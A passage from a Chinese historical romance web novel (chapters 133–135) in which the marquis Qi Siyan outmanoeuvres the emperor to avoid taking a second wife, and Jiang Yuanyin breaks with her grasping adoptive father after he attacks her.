“臣还需细细琢磨一番,”齐司延不多言,“多谢王爷提醒,臣会自行解决此事,绝不会委屈阿音。”
李霁看他的眼神里多了几分打探与考量。
他真能为江元音做到这个地步?
还是,他对皇兄为何帮他物色平妻,心知肚明?
为了江元音而阻止这道圣旨,会是幌子吗?
李霁止了思绪,不再追问,而是继续道:“不管你有没有能耐阻止皇兄下这道圣旨,你若是真心为元音考虑,便该同意与之和离。”
“她这张脸,同先皇后如出一辙,若被皇兄瞧见,恐有性命之忧。”
闻言,齐司延眼底浮现古怪之色,他淡声询问关键点:“为何皇上见到阿音,阿音会有性命之忧?”
……这如何可能?
李霁扫了齐司延一眼,似是有些嫌弃,“我皇兄如何能容得下先帝与先皇后的女儿?”
他不是也知道了江元音的身世吗?
怎会问出这么愚蠢的问题?
齐司延身子一僵,极力克制情绪,保持淡然。
他近乎屏息地亲口问:“王爷可有将元音的身世告知元音?”
“嗯,”李霁没有隐瞒,顺势以此为由劝道:“她亦是觉得留在汴京危险重重,想与你和离,离开汴京。”
齐司延眸底是隐秘的讶然。
他没料到,李霁竟对江元音的身世,一知半解。
江元音的确是先皇后之女,却并非先帝的女儿。
齐司延的母亲洛青莞,曾与先皇后交好,二人是手帕交的情谊。
在他久远的记忆里,四岁那年,他曾随母亲入宫,看望先皇后。
彼时李彦成刚刚坐上龙椅,命他父亲、母亲西征驱逐胡人。
母亲是受先皇后召见入宫,亦是去同先皇后辞行。
他记得先皇后形容憔悴,满眼希冀拽着母亲的手,哽咽地问:“找到了吗?青莞,找到了吗?”
“公主……没了音讯,”母亲跪地,痛声道:“臣明日便要起程西征,无法再继续追寻公主下落。”
他记得先皇后几欲崩溃,后来是李彦成赶到,一遍遍安抚。
李彦成说:“朕一定继续找,朕一定会把我们的女儿找回来的。”
李彦成对先帝的子嗣斩草除根,除了在东宫死士护送下逃离汴京的先太子李承烨。
李承烨和江元音都是先皇后所出。
可李彦成对李承烨下的是“追杀令”,对江元音下的是“搜救令”。
其中深意,可想而知。
江元音当是李彦成与先皇后的女儿。
李霁对此竟一无所知,这在齐司延的意料之外。
这亦让齐司延松了口气。
李霁以为江元音是先帝与先皇后的女儿,便不会将江元音的消息透露给李彦成。
齐司延这时方才想明白。
这大抵才是江元音要同他和离的原因。
她从李霁那得知了自己的身世,误以为自己是先帝和先皇后的女儿。
而他的父母,是拥护李彦成“弑兄夺位”的人。
齐司延恍然。
……难怪,她这么难哄。
是他一直弄错了她生气的原因。
他懂得那种枕边人忽然变成了“仇人之子”的纠结与痛苦。
……他不会怪她。
齐司延缓神,坚定表态:“王爷不必再劝,臣不会同阿音和离。”
“承蒙王爷提点,臣方知同阿音之间误会诸多,才让阿音想与臣和离。”
“请王爷放心,臣会同阿音解释清楚的。”
“一刻钟已到,臣不叨扰王爷雅兴,先行告退。”
语罢,他作揖离开。
李霁环臂看着齐司延离去的背影,若有所思。
他要真能阻止皇兄下那道迎娶平妻的圣旨,怎会“病”到今年才好?
有点意思。
他拭目以待。
离开雅间,曲休跟上。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!齐司延步子迈得大,透出几分急切与匆忙。
快步走至马车,恭候良久的车夫立即请示道:“侯爷,是回府吗?”
“不,”齐司延利落迈上马车,“入宫。”
在去同阿音解释前,他得先解决后顾之忧。
齐司延今日第二次入宫,快过申时。
御书房。
李彦成示意下跪行礼的齐司延起身,温声问道:“朕没记错的话,这是司延第一次求见朕,可是有急事啊?”
齐司延没有起身,而是立起身子,道:“皇上,臣确有一事相求,叩请皇上恩准。”
“哦?何事啊?”
齐司延徐声道:“今日观中大师登门,给了臣一些指点。”
“诚如上回曹公公所言,大师亦说臣妻乃有福之人,唯有臣妻命格可旺臣。”
“臣妻有孕在身,腹中胎儿更是臣命中吉星。”
“大师说只有臣妻稳坐主母之位,侯府不再添新妇,让臣妻顺利诞下孩儿,才能兴旺侯府,保臣安康顺遂。”
李彦成听到这,眼神已冷了冷,出声感慨道:“朕竟不知,司延何时开始信命理玄妙之术了啊?”
让江氏稳坐侯府主母之位,侯府不再添新妇?
那他还怎么让其迎娶平妻进门?
齐司延眉眼低垂,回道:“自臣父母殉国,侯府得皇上圣眷隆恩,没人敢打侯府的主意,臣想,普天之下当没人会冒着得罪皇上的危险来害臣吧?”
“况臣这病生得怪异,连宫中御医都束手无策,既非人为,又忽然不药而愈,当真玄乎。”
“是以,臣不得不信了。”
“有理,”李彦成喜怒难辨,问道:“那你寻朕求的是何事啊?”
齐司延又一叩首道:“臣想请御医出宫到侯府,替臣妻安胎,请皇上恩准。”
李彦成眼底满是思量,拨动着手中的玉扳指,盯着齐司延的脑袋良久,方温声道:“这点小事司延何必行此大礼啊,你且起来吧,趁着天色未黑,朕命御医同你一道回侯府去。”
语罢瞟了眼曹学良,吩咐道:“去御医院,挑一位最擅安胎的御医过来,随司延去一趟侯府。”
“是,老奴这就去……”
“曹公公且慢,”齐司延出声唤止,抬眼看向李彦成,道:“皇上,大师说了,无需是最擅安胎的御医,但得是一位丁火年生,午时出世的御医才行。”
李彦成轻笑,好说话地嘱咐曹学良:“便依司延所言,领个丁火年生,午时出世的御医过来。”
“是,皇上。”
然而曹学良跑了一趟御医院,却一个人回来了。
曹学良目露难色:“启禀皇上,御医院没有丁火年生,午时出世的御医。”
齐司延毫不意外。
他当然清楚御医院没有丁火年生,午时出世的御医。
这个生辰八字本就罕见,更何况他之前为调查所中之毒,将整个御医院的御医通通调查了一遍。
他最是了解。
李彦成垂眼扫仍跪在地上的齐司延,问:“司延可要换个人选啊?”
齐司延失落摇头,“不敢再劳烦陛下,臣认了。”
“寻不到大师口中要找的御医,臣只能依照大师所言,好生对待臣妻了。”
李彦成拨动玉扳指的速度越发的快了些,透出些不耐来,问道:“你口中这个大师是谁?领来给朕瞧瞧。”
齐司延早有准备,不慌不乱地回道:“乃是最喜云游天下的玄微散人,说是臣父母曾护边关安宁,为臣积累了福报因缘,特来指点一二。”
“可惜指点完便离府了,臣不知其还在不在汴京,恐难领至皇上跟前了。”
李彦成声音冷了冷,不赞同道:“所以你堂堂一个侯爷,就为了一个大师所言,不再娶妻纳妾?”
齐司延颔首:“宁可信其有,不可信其无,臣此番病愈,离奇不易,臣万般珍惜。”
他接着道:“况臣妻乃圣上赐婚,臣更该珍之、重之,方能不负圣恩!”
李彦成不语,只是兀自拨动着玉扳指。
曹学良最是会察言观色,眼珠子一转,立即朝李彦成躬身,提议道:“皇上,老奴上回就说了,侯夫人一看便是有福之人,现在又有玄微散人认定,皇上总该信了老奴吧?见不着这玄微散人,皇上不如见见侯夫人?”
他一副帮齐司延劝皇上的口吻,又补充道:“皇上见过侯夫人后,保不定能理解侯爷为何如此珍视侯夫人了。”
齐司延心底一声冷笑,不慌不忙地应对:“如皇上愿见臣妻,乃臣妻八辈子修来的福份,可惜……”
他微顿后,叹息道:“玄微散人特意叮嘱了臣,皇恩浩荡,龙威震人,臣妻在顺利产子前,不宜入宫。”
“皇上素来对臣颇为照拂,宅心仁厚,想来会理解臣久病多年,对安康顺遂的执念,愿意成全臣对命理玄妙之术的忌惮,不忍臣活在不安忧虑里。”
李彦成停下了拨动玉扳指的手,半晌后点头道:“既宫中无你所寻之人,你不妨早些回府吧。”
“谢皇上恩典,”齐司延行礼,“臣告退。”
待齐司延离开御书房,李彦成冷脸:“曹公公。”
“奴才在。”
“即刻宣珩王入宫觐见。”
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第133章 他要解开两人之间的误会
齐司延步子不疾不徐,慢悠悠地走着。
很快便见一御书房的小太监步履匆匆,自他身后赶超他。
他状似讶然地故意拦住其问到:“可是皇上还有口谕让公公来传达?”
只是个跑腿的小太监,自不似曹学良那般懂得些李彦成不明说的弯弯绕绕。
在其眼里,圣上待定宁侯,那是恩宠有加。
是以他摇头,恭敬回道:“侯爷误会了,是曹公公命小的去珩王府传话,皇上宣珩王觐见。”
齐司延表示了然的点点头,“那公公请便。”
一切都如他所料。
他在李彦成下旨,要他迎娶平妻之前,先进宫演了这么一出,阻止其计划。
李彦成生性多疑,定会疑心他是听到了什么风声,故意为之。
而李霁为了明哲保身,以及护住江元音,不让她入宫见到李彦成,一定会附和他的说辞。
李霁是他此计划的最后一环。
齐司延大步离开。
他需得快些,再快些。
他有好些话迫不及待地,要同阿音说。
另一边,江元音早就回到了侯府。
她依照习惯,想低调从偏门入府,不成想,却遇上了在偏门等候半日的江兴德。
江兴德过了午时不久,便来侯府了。
不过他先去的正门,恰好和从偏门离开的江元音错开。
他没能从侯府正门进去,看门的门房一脸为难,说辞和上一回齐文台一家子出了事,他携陈蓉来道歉一般无二。
江兴德自知理亏,当初是他脑袋遭了驴踢,以为齐司延那个病秧子好不了了。
他巴结错了人,站错了队。
如今齐司延不将他这个老丈人看在眼里,他也认。
他灰溜溜地去了偏门等待,摆足了耐心,等着侯府家丁领他进去。
一等就是一下午,没想到等来了江元音归府的马车。
“父女俩”在这个情况下碰见,都有些讶然。
江元音心一沉,朝他虚虚福了福身子,“阿父怎么来了?”
她环视了下他的周遭,不见陈蓉。
他一个人来做什么?
准没好事。
江兴德迈过来,不答反道:“你这是一个人出门去了?”
江元音点点头,“是呢。”
显而易见的问题,有甚好问的?
江兴德不悦抱怨出声:“我说我在这候了一个下午,家丁不领我进门,原是你不在家。”
他见齐司延不在,摆出严父的架子,教育道:“你不是有孕在身,脉象不稳吗?更应该在侯府好好待着安胎才是,没事莫要出府,影响到腹中胎儿怎么办?”
“你可得顺顺利利生下嫡长子,方能坐稳这侯府主母的位置!”
如今齐司延病愈重回朝堂了,日后想入侯府的女人多得是。
她这木讷性子哪能长久留住齐司延的心?
但只要能生下嫡长子,继承侯爵,他江家就能跟着沾光。
届时他便是新一任定宁侯的外祖父!
江元音眨了眨眼:“阿父特意来一趟侯府,便是为了训斥我么?”
她悠悠地补充道:“可是侯爷觉得我在侯府待得烦闷,应当多出去走走散心。”
“阿父同侯爷意见不一,我该听谁的?”
江兴德面色一窘,气焰顿消了大半,掩饰轻咳了一声:“那自是听侯爷的,总之……一切都当以你腹中孩儿为主。”
江元音心中冷笑。
他可真是异想天开,还以为自己能靠“外孙”攀上权贵?
近来本就是诸事烦心,一想到自己快要离开汴京了,更没必要费劲同江兴德装。
他先前没回答她,为何事而来,她懒得再追问,没甚好气地直接下了逐客令:“临近傍晚,天快黑了,阿父早些回吧,侯府跟江宅隔得远,晚了怕是要误了宵禁。”
她这话一下子便精准踩到江兴德的痛处。
举家搬迁到汴京三月了,他才终于摸清楚些了皇城的情况。
比如,达官贵人住在东边,平民百姓住在西边。
初入汴京时要知道这一点,他定不会愿意住在江元音买的城西的府邸。
可惜东边的府邸并非是有钱便能买的,里面的门道暗规多了去了。
他江家没有官职,还得罪了定宁侯,有钱也买不着。
否则,他今日也不必跑这一趟了。
江兴德半分没有要离开的意思,道:“我今日是来寻侯爷说事的,又不是闲逛经过了这。”
“侯爷今日一大早便入宫面圣去了,还不知何时才会归府呢,阿父改日再来吧。”
“我已等了一下午,也不差一晚上了,”江兴德黑着脸,不悦道:“这个点,你便是不留我登门用晚饭,也该招呼我小坐喝口茶水吧?”
“便是真误了宵禁的点,你留宿我一晚又何妨?难不成这偌大的侯府,还腾不出一间空屋子给我?”
他瞥了江元音一眼,负手而立,不满冷哼:“从前我还觉得你这孩子,最是孝顺贴心,现在来看,也真是应了那句‘嫁出去的女儿,泼出去的水’,你如今是半点不念江家,不顾着我这个老父亲了。”
本小章还未完,请点击下一页继续阅读后面精彩内容!江元音不似从前那般,委屈着同他解释,再低声下气地示好。
她气定神闲地看他,“阿父是不是忘了,我出嫁前,阿父千叮咛万嘱咐,说是在家从父,出嫁从夫,嫁到侯府后要恪守妇德,以夫为天,不要忤逆侯爷,莫要让侯爷觉得你教女无方。”
“我谨遵阿父教诲,怎地阿父又不满意了?”
“阿父啊,若不是阿母出言不逊,你执意巴结齐文台一家,得罪了侯爷,何至于要吃闭门羹啊。”
江兴德觉得眼前的江元音陌生得很。
面对自己的斥责,竟没红眼,急声来解释讨好。
他是按着从前拿捏她的话术来说的,她却没甚反应,还能伶牙俐齿地回怼他。
不过此时不是纠结她态度变化的时候,他开口辩驳道:“是,之前是你母亲失言,得罪了侯爷,可我们之前也登门道歉了,不仅于此,还依着侯爷的意思,让你母亲挨了藤鞭,她那伤时至今日都未好全!”
江元音扬声:“还没好?”
“何止!你母亲自那后,精神受挫,成日里神叨叨的,不愿见人,发起疯来时,甚至连正耀都不认!”
江兴德所言不虚。
陈蓉两次来侯府都遭了重创,不仅被拧断的胳膊留了后遗症,开始不利索,身上的鞭痕更是迟迟难愈。
让她精神崩溃的,是江兴德坚定不移地信着江元音的话。
以及她在侯府一众下人的目睹下,被江兴德鞭笞。
她神志不清地,总幻视有人在奚落笑话她,因此再不愿见人。
江元音总算是从江兴德嘴里听到了一句想听的话,漫不经心地回道:“难怪阿母今日没同你来呢。”
江兴德脑海里浮现陈蓉疯疯癫癫的样子,叹息地摇了摇头,绕回了重点,道:“我今日是带着诚意登门的,必定能解开和侯爷的误会。”
江元音饶有兴致地问:“什么诚意?”
江兴德微微仰头,透出势在必得来,“我知皇上将修缮崇光院的事交予了侯爷。”
“阿父是如何得知的?”
齐司延今日才去面圣,若非下午在鹤鸣琴筑碰着了他,她都不会知道。
“正耀早两日便听太子殿下提起了此事,崇光院停工半年是因为国库迟迟未拨款,”江兴德抬手指了指几丈外的马车,道:“那满车都是我的诚意,我愿为侯爷修缮崇光院,尽绵薄之力。”
江元音稍作沉默。
听闻了陈蓉的凄惨现状,加上她快要离开汴京,她忽然觉得也是时候和江兴德做个了断了。
于是她抬眼看了那马车一眼,轻声道:“阿父能否带我去瞧瞧?”
江兴德点头,率先抬步朝马车迈去。
江元音主仆三人随之跟上。
雪燕和清秋就候在马车旁,江元音随江兴德上了马车。
马车内,有三个红木大箱子。
江兴德一一给江元音打开展示。
分别是一大箱金子、一大箱银子、一大箱值钱珠宝。
江元音神色淡淡的扫完,没露出江兴德期待的惊喜雀跃,相反似有些失望,道:“阿父,就这些怕不够侯爷修缮崇光院啊。”
江兴德噎住,面色不虞:“你一个妇道人家懂什么学堂修缮?”
即便是真的够不上,他亦不可能在江元音面前承认。
江家财力已大不如前。
为了能摆脱商贾阶层,挤进权贵圈,让江家自此青史有名,他快要耗光这大半辈子挣来的钱财。
先是将近乎七成的家产都上交了国库,来换取江正耀成为太子陪读,和侯门的亲事。
又为了让她风光加入侯府,站稳脚跟,给她备了十里红妆。
迁至汴京后,各种打点关系,还被齐文台一家骗了一大笔。
马车里的这些,足够有诚意。
江兴德又从袖袍里掏出了一叠商铺、良田的地契,递过去,道:“还有这些铺子、田地。”
江元音伸手接过了这一叠地契,没仔细翻阅,顺手塞到了装着珠宝的箱子里。
她冲江兴德道:“阿父当不介意我现在唤家丁过来将它们搬进府去,免得一会天黑了不方便吧?”
江兴德闻言,只当这事是成了。
江元音都把东西收下了,自不可能不办事。
他终于眉目舒展,面露喜色,点头道:“这有甚好介意的?你唤人来搬便是。”
江元音随即下了马车,吩咐雪燕、清秋去唤六个家丁来搬箱子。
“父女俩”此刻的神色很是默契一致,皆是轻松愉悦的。
雪燕和清秋很快便领了六个家丁过来,两人一箱地把红木匣子搬下马车。
江兴德随之迈步,要一道入府。
江元音伸手拦了一把:“阿父稍等,我有几句心里话想同阿父说。”
江兴德不赞同:“何不去屋里坐着说?”
他折腾了一下午,着实累了。
江元音很坚持:“就在这说吧。”
说完,她看向雪燕、清秋:“你们去门口等我。”
“是,夫人。”
马车附近的范围,便只剩下了“父女俩”。
本小章还未完,请点击下一页继续阅读后面精彩内容!江元音开口问道:“所以阿父今日前来只是想跟侯爷道歉?”
江兴德觉得“礼”都收了,是可以摊开说事了。
他清了清嗓子,道:“更是想请侯爷帮帮正耀。”
“阿弟怎么了?”
“你阿弟入宫伴读近一月,与其余伴读相处并不融洽,常有口舌之争。”
江元音一点不惊讶,静候下文。
江正耀在江家当了那么多年唯我独尊的大少爷,入了宫,个个高他一头,他那脾气会得罪人,几乎是必然。
这里不是江南,那些个官家子弟可不会惯着他。
“今日午时正点左右,宫中派人来传信,说是正耀今日在东宫殴打了御史大夫之子,今日要留在东宫受罚,”江兴德越说越激动,“我看分明是他们官家子瞧不上我们商贾,不仅欺负正耀,还倒打一耙!”
“元音,你需得好生劝劝侯爷,一会即刻进宫,去救你阿弟!”
“侯爷最是得皇上看重,他若能出面为正耀撑腰,日后正耀在东宫会更受太子殿下待见,而那些个官家子看在侯爷的份上,定不敢再随意欺辱正耀!”
江元音了然。
难怪江兴德愿意在这等上一下午,还如此大手笔,原来是为了江正耀。
哦不,应该说,是为了江家的前途,为了他自己。
虽他一介商贾,入不了宫门,但他若真是忧心江正耀的性命安全,哪还有同她进屋,坐着聊的心思?
他分明更看重的,是让齐司延出面去解决这件事。
趁此机会,攀上侯府。
他果然最是自私冷血,儿子即便比女儿受宠,也一样是他用来挤进权贵圈的工具。
江元音叹了口气,一派惋惜道:“阿父高看我了,我如何能劝说得动侯爷?”
“元音爱莫能助。”
“你当然能,”江兴德看了她腹部一眼,提醒道:“你如今怀着他的骨肉,说话自然好使!”
他直接给她出主意:“一会侯爷要是不愿意管这事,你便说你要入宫去救正耀,他顾虑你有孕在身,定不可能不管。”
江元音点头,认可道:“甚是有理。”
在江兴德正要喜笑颜开时,她温声说道:“可我——不愿意。”
江兴德似是一时没听懂她的话,皱眉问:“什么?”
江元音耐心极好地重复了遍:“我说我不愿意管江正耀。”
她勾唇笑了笑,依旧是从前那般恭顺温婉的模样,又道:“侯爷要修缮崇光院,自有国库拨款,所以阿父的心意,我便笑纳了。”
江兴德从未想过有一天,能从江元音嘴中听到如此大逆不道的话。
全然不似从前那个,任家人予取予求,不图任何回报的乖女儿。
以至于他费了半天神,才理解听懂了她所言。
江兴德横眉竖目,怒斥出声:“你便是嫁人了,也是他姐姐,你怎能置之不理,不管他?”
“我为何要管一个轻贱我,从未将我视为姐姐,以欺负我为乐的混账恶魔?”
“你当姐姐的何必跟弟弟计较?”江兴德自知在这一块站不住脚,一句带过,转移了重点:“还有什么叫做我的心意你笑纳了?你凭何笑纳?那是我赠与侯爷的!”
“凭何?”江元音敛了笑,冷冷看他,咬字极缓,近乎一字一顿地说道:“凭你江家能有今日,靠的都是我襁褓中的黄金财宝。”
江兴德一颤,满眸不敢置信。
他犹如被人掐住了脖颈,整张脸涨得通红,却说不出话来。
江元音继续道:“凭你们这十多载从未善待过我这个恩人。”
“刚那三箱子,权当是利息了。”
“你、你……”江兴德半晌才找回自己的声音,连声问道:“你怎么会知道这些?你何时知道的?”
江元音掀了掀眼皮,“圣旨到江家的那一日。”
“那天真的很冷呢,我急着给你送帮你绣的香囊,连手炉都没带。”
“你和陈蓉的话,我可是听得一清二楚。”
江兴德身子一晃,他声音发抖,分不清是因为气的还是震惊:“你那时就知道了……后来你一直在演戏,装乖顺,装可怜……?”
“不止呢,”江元音提醒道:“江正耀撕书那回,是我故意刺激他,让他撕的,我故意给你买了西街破烂的府邸,就连江正耀来侯府被陆氏杖责也是我设计的。”
“噢,当然最重要的,还是上一回,陈蓉真的没推我,是我自己摔倒的呢。”
“这样看来,陈蓉当是被你不分青红皂白,当众鞭笞她,让她颜面尽失,而疯掉了吧?”
“啧,江兴德,你亲女儿下落不明,亲儿子在东宫受欺,你又亲手逼疯发妻,挥空钱财,也挣不来半点功名,你的人生可真失败啊。”
“你、你这恩将仇报,睚眦必较的白眼狼!”江兴德呼吸急促,怒目圆瞪,“我当初就不该救你,我因为一时仁善,把你这个祸水领进了家!这都是我的报应!”
“你仁善?”江元音嗤笑出声:“若非我襁褓中有黄金珠宝,你压根不会管我死活吧。”
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“福祸相依,你但凡能善待我,都不至于落得今日的下场!”
“江元音!”江兴德目迸凶光,“你别以为嫁入侯府,就想把我江家甩开!我告诉你,皇上赐婚的是我江兴德的女儿!你既知自己不是,就最好识相些,否则我定上告圣上!”
“你去啊,”江元音完全不慌,“欺君之罪,满门抄斩。”
她笑得有恃无恐,道:“我与侯爷感情正浓,又怀了他的骨肉,侯爷若以齐家的功勋护我,我尚有一线生机,而你——必死无疑。”
江兴德彻底崩溃,发狂般朝江元音扑过去,用力扼住她的脖子,失了神智地嘶吼道:“老子现在就杀了你!杀了你!”
“夫人!”
候在门口的雪燕见状,高呼一声,门房、车夫一群人赶忙跑过来。
力量悬殊,江元音一时挣不脱。
江兴德死死掐住她,她完全发不出一点声音,急中生智,她果断拔下头上的发簪,狠狠朝江兴德扎过去。
与此同时,雪燕等人赶了过来,忙将江兴德扯开。
车夫与门房推搡着江兴德,把他逼至马车抵住。
“没事吧夫人!”
“夫人可有伤着?!”
江元音摇头,大口地换气,手仍举着发簪没松。
她整张脸因为窒息而通红,眸光却似寒潭般冷静。
她微微歪了歪头,才避开门房车夫的遮挡,寻到能和江兴德对视的角度。
待到呼吸平缓些,她冲他开口道:“江兴德,你的权贵梦,该醒了。”
语罢,她拿簪子的手一松,扔掉了那沾上江兴德鲜血的簪子,再不和他多做纠缠,她转身回府。
她好似终于扔掉了一床,裹在她身上的,潮湿的棉被。
那种沉重、湿寒的感觉骤然消散。
她只觉得一身轻松,连步伐都轻盈起来。
江元音拉住了要去唤郎中的雪燕、清秋,让她们先给她备水,她想先沐浴,换下这身溅到江兴德鲜血的衣裳。
雪燕和清秋再三确认其真的没受伤,才安心去备热水。
江元音舒舒服服地洗了个澡,只等着一会吃了晚餐,开始盘点下那三大箱子的财物。
真是先谢谢江兴德,在她临行前,还如此慷慨地给她送盘缠了。
戌时,齐司延回到了侯府。
他自正门而入,大步流星迈进青松院。
终于处理完所有的琐碎事,他可以和她好好谈谈了。
今夜,他要解开两人之间的误会。
一迈进青松院,他开口同就近的丫鬟确认:“夫人呢?在主屋?”
丫鬟点头,却是一副神色闪烁的模样。
曲休见状,忙出声道:“可是有什么跟夫人相关的事?你速速禀告侯爷!”
闻言,丫鬟忙将从门房那传到青松院的消息,绘声绘色地同齐司延说了一遍。
末了,不忘总结感慨道:“夫人虽没受伤,但一定受了惊!侯爷……”
齐司延没听完,步履生风地走向主屋。
他紧绷着脸,深呼吸后紧张推开了外间的门。
然而屋内的景象,却同他想的大相径庭。
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第134章 侯爷小瞧我了
江元音不仅是洗了澡,还洗了头发。
时候尚早,距离入睡还有一个半时辰,加之天热,入睡前定能干透。
于是她穿着睡衣,披散着一头长发,兴致勃勃地清点刚从江兴德那得到三大箱子财物。
齐司延推门而入,看到的便是她蹲在箱子前忙活的背影。
一身月白色单衣,青丝如瀑。
雪燕、清秋连忙行礼:“见过侯爷。”
江元音抿了抿唇。
回府的马车上,她其实做好了回府后,齐司延要详细追问她和李霁之间种种的准备。
然而当她收拾了江兴德,他仍未归府。
她觉得他大抵又有甚要事要忙,今夜不会再管她了。
偏偏是她清点财物的时候,回来了。
她只好起身转头,心里盘算着用什么言辞一笔带过这三大箱子财物,低眉顺眼地唤了声:“侯爷。”
三大箱金灿灿,亮闪闪的财物的确夺目,可齐司延没看一眼。
他大步走向她,伸手轻托住她的下巴,抬起来。
江元音不耐蹙眉,不满与之对视。
然而齐司延垂眸,目光落在她的脖颈上。
她肤若凝脂,白皙细腻,那修长的脖颈上,红色的指痕扎眼。
他的呼吸重了重,是压抑的,快要迸发的怒气。
齐司延倏地侧眸,看向雪燕、清秋,清冷的嗓音让人不寒而栗:“给夫人上过药了?”
雪燕和清秋感到一股迫人的威压,被他这一眼看得一激灵,“没、没有……”
齐司延眸光更冷,语调没有大的起伏,问责道:“你们便是这样照顾夫人的?”
没有及时给她上药另说,她们怎能让江兴德伤着她?
江元音恍然齐司延正在为江兴德掐红了她的脖子而生气,眼看着雪燕、清秋怕得要跪地了,她忙出声护道:“不关她们的事,是我自己不愿意涂。”
她脖子并不疼,也没觉得有任何不适。
她亦察觉到了齐司延身上的低气压,不想她们杵在这,担惊受怕被牵连:“你们先退下。”
“是……夫人。”
雪燕和清秋退下,关上外间的门。
屋子里只剩下江元音和齐司延。
齐司延面色紧绷,视线终于落在她脸上,不赞同道:“她们是你的贴身丫鬟,本就该护你安全,若在你遇险时毫无作为,怎……”
“是我先支开了她们,”江元音打断他,挥开他托住自己下巴的手,冷静解释道:“她们并非毫无作为,江兴德一掐住我,她们很快发现赶来了,再者,我并未伤重,侯爷无需苛责她们。”
他能一进门便直接抬起她的下巴,查看她的脖颈,一定是一回府,便听人禀告了她同江兴德的事了。
齐司延心痛如绞。
她越是这般轻描淡写,他越是心疼难过。
她这些年在江家到底过着怎样的生活,才会让她对江兴德的暴行,习以为常的淡然。
他喉结上下滚动,哑声歉然道:“是我不好,我不应该让你一个人先回来。”
便是要去处理后顾之忧,他应该让她留在马车里等一等。
江元音无意继续这个话题,她侧身面朝着那三个红木大箱子,不去看他的眼。
她如实以告道:“江兴德听闻了侯爷要修缮崇光院,这三大箱子是他用来巴结侯爷的,想让侯爷为与御史大夫之子起了冲突的江正耀出头。”
“说是这么说,但他最真实的目的,当是想让人知道,侯爷与他关系不错。”
“侯爷想必不会搭理他,这三大箱子,妾身便笑纳了。”
齐司延从始至终都没看那些个箱子,他看着她的侧脸,道:“自然是阿音的。”
他又补充道:“侯府库房里的,也全是阿音的。”
“妾身不敢觊觎侯爷财产,”江元音意有所指道:“妾身只要自己的嫁妆。”
托之前陆氏的福,她的嫁妆一直是她自己清算保管的。
哪怕后来同齐司延感情最好时,也清醒地未混在一起。
只要他允了她和离,还了她户籍文书,她马上便能动身离开汴京。
经过和李霁的那一番谈话,齐司延当然能听懂她在暗示什么。
他往前迈了一步,站在箱子前,与江元音面对面而立,不允许她逃避地四目相对。
齐司延开口道:“阿音不问问我为何晚归?”
江元音神色淡淡,全然不在乎地回:“侯爷自有侯爷的事要忙,晚归自有晚归的理。”
她满脸都写着:与我何干?
齐司延耐心极好,她不问,他上赶着说给她听,道:“我是因为你而晚归。”
“因为我?”
“我折返去见了珩王爷。”
江元音不言不语,静待下文。
按照她对他的了解,他或许是在马车上,没从她嘴里得到想要的信息,所以折返,改从李霁那下手。
似他那般心思缜密之人,许是疑心她同李霁在密谋些什么吧。
她完全不慌。
她和李霁本就没谈过相关的话题,压根不存在的事,他能打探出什么?
这章没有结束,请点击下一页继续阅读!齐司延却不再详细的说明他去找李霁的原因,他这句话,不过是一个开头的引子。
他直直望着她,道:“珩王爷告诉我,你今日去寻他,是为了让他助你与我和离。”
江元音:……
她真是棋差一着,没摸清楚了解透李霁的行事作风便贸然开口了。
他们分明都没商量妥当,他直接同齐司延说是几个意思?
太不靠谱了!
江元音在心中将李霁腹诽痛骂了一遍,然后让自己尽快接受事实。
反正计划一直在被打破,今日从许绮嫚出现开始,一切就不可能按她初初计划的来了。
她随机应变,顺势打探问道:“那王爷是如何同侯爷说的?”
齐司延当然不能把李霁催他与她和离的话宣之于口。
他伸手握住她的手,表态道:“我不同意和离。”
江元音拧眉,她条件反射地抽手,被却他牢牢握住。
她免不得回忆起了昨夜的种种,不想再陷入鬼打墙式的沟通,尚存的理智压抑着她把他的所作所为挑破,透露出她知晓他在韬光养晦的事。
是以,她只能从别的事入手,略有些激动地连声质问道:“为何不同意?侯爷不是很快便要迎娶贵女入门了吗?侯爷何必揪着妾身不放,免得贵女入门,惹她不快?”
“我不会娶别人,”齐司延沉声,“我说过要与你一生一世双人,此生只你一人。”
他抬手做发誓状,继续道:“我齐司延发誓,如违此誓,天打……”
江元音抬起另一只手,快速捂住了他的嘴,“你用不着发誓。”
她只想和他两清,并没到恨他入骨,要他去死的地步。
她可不想背负他的“命”。
齐司延眉目舒展,终于有了笑意。
他亦抬手覆盖住她的手,轻轻吻了吻她的掌心。
江元音完全理解不了的收手。
齐司延扬唇,满意道:“阿音分明还在乎我。”
江元音一时竟无言以对。
她从未想过,有一天会在齐司延身上,联想到“无赖”这个词。
齐司延握住她的双手,“我见了珩王爷后,才知短短八日内,你我之间,竟有如此多的误会。”
江元音自嘲勾唇,抬眼看着他,“我与侯爷之间,有甚误会?”
她等着听他会编出些什么鬼话来糊弄她。
齐司延切入正题,向她确认道:“你同珩王爷见了面,知晓了自己的身世,他告诉你,你是先帝先皇后的女儿,是不是?”
“是,”他既把话挑明,她也不隐瞒,道:“他于乞巧节那夜瞟见我容貌,之后便三番两次试探我,确认我左肩的刺青图腾后,告诉了我身世。”
她笑了笑,眸光却带刺,反问道:“侯爷入宫那日,便也知道了,不是吗?”
闻言,齐司延越发笃定了自己的猜测,“所以……阿音是觉得我父母是害死你生父的帮凶,要与我和离,是吗?”
“侯爷未免太小瞧我了,”江元音眼里有失望,“或者说侯爷把我想得太善良美好了。”
“历史是由胜利者书写的,十五年前兵变逼宫的真相到底是什么,除了当事人,谁也不清楚。”
“但先帝不作为,齐腾夫妇驱逐胡人,守护边关安宁,非史书记载,而是民间口口相传。”
“我不会仅仅因为血缘,去背负一个毫无记忆,不曾相处有过感情的生父的仇恨,而去改变自己的人生。”
老天既让她重活一世,这辈子,她只想为自己而活。
齐司延心里有欣赏动容,只觉得她周身都有浅浅柔光。
……她竟想得这般通透。
他歉然道:“是我狭隘了。”
随后如释重负:“既然阿音未受身世所扰,生气的便是皇上要我迎贵女入门的事?”
江元音不想再听他发誓,扯东扯西。
她摇摇头,终是开了口:“令我生气的,从来只是侯爷对我的欺骗、愚弄与利用。”
她知道不说出个一二三四来,齐司延根本不会把她说的和离当一回事。
她便好好与他说道说道。
齐司延再好的脾气,也因这句话有了怒气:“……我何曾有过?”
江元音掀了掀眼皮,“侯爷进宫那日,我去了云鹤观。”
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第135章 一起洗澡(坦白和好啦)
江元音抽回自己的手,朝软榻走去。
想来不是三言两语能说清楚的事,索性坐下来说。
她徐声道:“初八上午,关将军等人登门,侯爷与他们相谈甚欢,言谈举止间,不似平日间从无往来。”
